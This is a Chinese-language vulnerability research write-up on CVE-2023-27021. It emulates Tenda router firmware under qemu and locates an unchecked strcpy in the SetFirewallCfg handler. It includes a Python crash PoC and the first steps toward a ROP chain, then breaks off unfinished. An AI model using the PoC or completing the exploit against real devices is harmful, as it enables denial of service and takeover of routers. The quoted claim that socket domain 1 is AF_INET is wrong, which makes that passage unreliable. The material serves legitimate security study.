CVE-2023-27021-tenda 路由器 - 栈溢出漏洞

官网下载链接为:https://www.tenda.com.cn/download/detail-2680.html

# 去官网下载相应的产品

image-20240508183219864

下载之后,使用 binwalk 进行解包。

# 解包

binwalk -Me filename.bin

分解完之后的 squashfs-root 即为路由器的文件系统。

tenda 路由器的 web 启动程序通常是 bin 目录下的 httpd 文件

$ file httpd
httpd: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped

可以看到位 arm 架构的 32 位的可执行程序

# 执行程序

cp $(which qemu-arm-static) ./

sudo chroot ./ ./qemu-arm-static ./bin/httpd

image-20240508191156518

发现程序一直卡在这里,拖进 IDA 搜索字符串 WeLoveLinux

# 查找原因

image-20240508193738684

image-20240508193627887

通过查看,在这里会 check_network。

grep -rn "check_network" *
grep: bin/netctrl: 匹配到二进制文件
grep: bin/multiWAN: 匹配到二进制文件
grep: bin/httpd: 匹配到二进制文件
grep: bin/phddns: 匹配到二进制文件
grep: bin/tendaupload: 匹配到二进制文件
grep: bin/logserver: 匹配到二进制文件
grep: lib/libcommon.so: 匹配到二进制文件

去寻找该函数在那个库里。 libcommon.so

image-20240508194018818

函数主体

image-20240508194346053

再次寻找 get_eth_name

grep -rn "get_eth_name" *
grep: bin/netctrl: 匹配到二进制文件
grep: bin/dnrd: 匹配到二进制文件
grep: bin/multiWAN: 匹配到二进制文件
grep: bin/dhcpcd: 匹配到二进制文件
grep: bin/httpd: 匹配到二进制文件
grep: bin/business_proc: 匹配到二进制文件
grep: bin/cfmd: 匹配到二进制文件
grep: bin/time_check: 匹配到二进制文件
grep: lib/libtpi.so: 匹配到二进制文件
grep: lib/libChipApi.so: 匹配到二进制文件
grep: lib/libcommon.so: 匹配到二进制文件

image-20240508194612599

image-20240508201108424

从这里我们就可以看到需要什么类型的虚拟网络接口了。对应前面的 get_eth_name(0) ===> 所以我们需要 br0

# 建立虚拟网络接口

通过 ifconfig 查看本地的网卡

image-20240508183856764

使用以下命令建立虚拟网桥并进行 UP

sudo brctl addbr br0 
这个命令创建一个新的虚拟网桥(bridge),名为br0。brctl是用于管理网络网桥的命令行工具,addbr选项用于添加一个新的网桥。这里,我们添加了一个名为br0的网桥。

sudo brctl addif br0 ens33
这个命令将物理网络接口ens33添加到刚刚创建的虚拟网桥br0中。addif选项用于将网络接口添加到网桥。这样,所有通过ens33接口的网络流量都会被转发到br0网桥,从而实现多个网络接口之间的通信。

sudo ifconfig br0 up
这个命令启用(激活)虚拟网桥br0。ifconfig是一个用于配置网络接口的命令行工具。在这里,我们使用up选项来激活br0网桥,使其可以开始处理网络流量。

sudo dhclient br0
这个命令为虚拟网桥br0分配一个动态IP地址。dhclient是一个用于请求和配置动态主机配置协议(DHCP)的命令行工具。在这里,我们使用dhclient为br0网桥获取一个动态IP地址,这样它就可以与其他网络设备进行通信。

sudo tunctl -t br0 -u 'whoami'
这个命令创建一个名为br0的虚拟网络接口。tunctl是一个用于管理虚拟网络设备的命令行工具,通常用于创建和管理TUN/TAP设备。在这里,我们使用-t选项来指定设备名称(br0),-u选项来指定拥有该设备的用户的用户名。'whoami'是一个shell命令,用于输出当前用户的用户名,因此这里会创建一个虚拟网络接口,其所有者为执行命令的当前用户。

sudo ifconfig br0 192.168.65.1/24
这个命令为虚拟网络接口br0分配一个静态IP地址。ifconfig是一个用于配置网络接口的命令行工具。在这里,我们使用它来为br0接口指定一个IP地址(192.168.65.1)和一个子网掩码(/24)。这意味着网络接口将使用192.168.65.1作为其IP地址,子网掩码为255.255.255.0。
> sudo ifconfig br0 down && sudo brctl delbr br0 停止网络接口并删除
> sudo netstat -tulnp | grep 192.168.65.1:80 查找对应的服务
> kill -9 PID kill 命令来停止它
> sudo netplan apply ens33无ip修复

image-20240508184626432

# 再次出现问题

image-20240508201807056

# 查找原因

image-20240508204305586

image-20240508204329574

GPT:
socket(1, 1, 0): 这个函数需要三个参数:

第一个参数是域(domain),它指定了socket的协议族。在这个例子中,1代表AF_INET,即IPv4的因特网协议族。
第二个参数是类型(type),它指定了socket的通信方式。在这个例子中,1代表SOCK_STREAM,表示一个面向连接的、可靠的字节流socket,通常用于TCP协议。
第三个参数是协议(protocol),它指定了socket使用的特定协议。在这个例子中,0表示让系统选择默认协议。对于SOCK_STREAM类型的socket,通常使用TCP协议。

所以我们暂时无法依照现在的环境去修改网络状况。

但是还有一种办法我们可以修改执行逻辑。

image-20240508205103089

所以我们去修改这两块的逻辑

image-20240508211506399

sudo chroot ./ ./qemu-arm-static ./bin/httpd

image-20240508211557449

此时就可以正常访问了

但是当我们正常访问时,发现网页是 404,此时我们让下面的 webroot_ro 的里面文件刷进去即可。

# 测试漏洞

image-20240508220917436

使用 IDA 逆向 httpd 文件,寻找可以造成栈溢出的函数。挖掘栈溢出漏洞,通常我们要从一些危险函数入手,第一类函数是 scanf,可能产生格式化字符串溢出漏洞,第二类是 strcpy、strcat、sprintf 等字符串拷贝函数。根据 tenda 的历史 CVE 漏洞,strcpy 函数产生的漏洞比较多,所以我们从 strcpy 入手举例。

image-20240508221310337

我们通过这个去寻找防火墙的漏洞

image-20240508222124288

src 直接去复制到 dest 里,后续也没有对 dest 的长度进行检测。

还需要我们去确定这个是否可以进行传入,sub_2BA8C 是 WebGetvar (goahead 的函数,暂时还不会恢复符号表),所以我们是可以通过这个函数进行传参的。接下来我们进行测试。

image-20240509095758402

image-20240509095531606

故猜测以及目录为 goform

测试 POC 如下:

import requests
url = "http://192.168.65.1/goform/SetFirewallCfg"
header = {
    "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
    "Cookie": "password=hdjcvb"
}
payload = "A" * 500
data = {"firewallEn": payload}
response = requests.post(url, headers=header, data=data, timeout=5)
print(response.text)

执行 POC 后:

image-20240509100524266

image-20240509100543004

image-20240509100606754

所以可以得知存在拒绝服务漏洞。

# 利用漏洞 - gdb 调试

image-20240509075854662

测试漏洞的保护

因为 NX 保护开启,无法向栈上写入 shellcode 去执行。可以去利用 rop,去进行获取 shell

# 配置 gdb 动态调试环境

sudo chroot ./ ./qemu-arm-static -g 9999 ./bin/httpd

开启另一个终端

gdb-multiarch ./bin/httpd

pwndbg> set architecture arm

pwndbg> target remote :9999

sudo lsof -i :9999 查看 gdb 绑定端口的 PID

这样我们就可以去调试程序了

# 利用 POC 去劫持 ret

进入 gdb 调试后我们先 n 上两步,然后执行 POC 两次,观测 gdb

image-20240509102326859

发现返回地址确实被我们去劫持到一个我们人为输入的值。接下来就是测试我们如何将这个改成一个可获取 shell 的 rop

# 利用漏洞 - 获取 shell

  1. 获取返回地址据输入偏移量

image-20240509103042769

  1. 寻找 libc 基址

使用 vmmap 看内存信息

image-20240509103454383

猜测箭头所指出为 libc 基址。

  1. 寻找 gadget

使用 ROPgadget,在 libc 中找一个可以控制 r0 的 gadget

ROPgadget --binary ./lib/libc.so.0 | grep "mov r0, sp"

image-20240509104401520

再在 libc 中找一个可以 pop 到 r3 的 gadget

ROPgadget --binary ./lib/libc.so.0 --only "pop"|grep r3

image-20240509104744796

后续补充…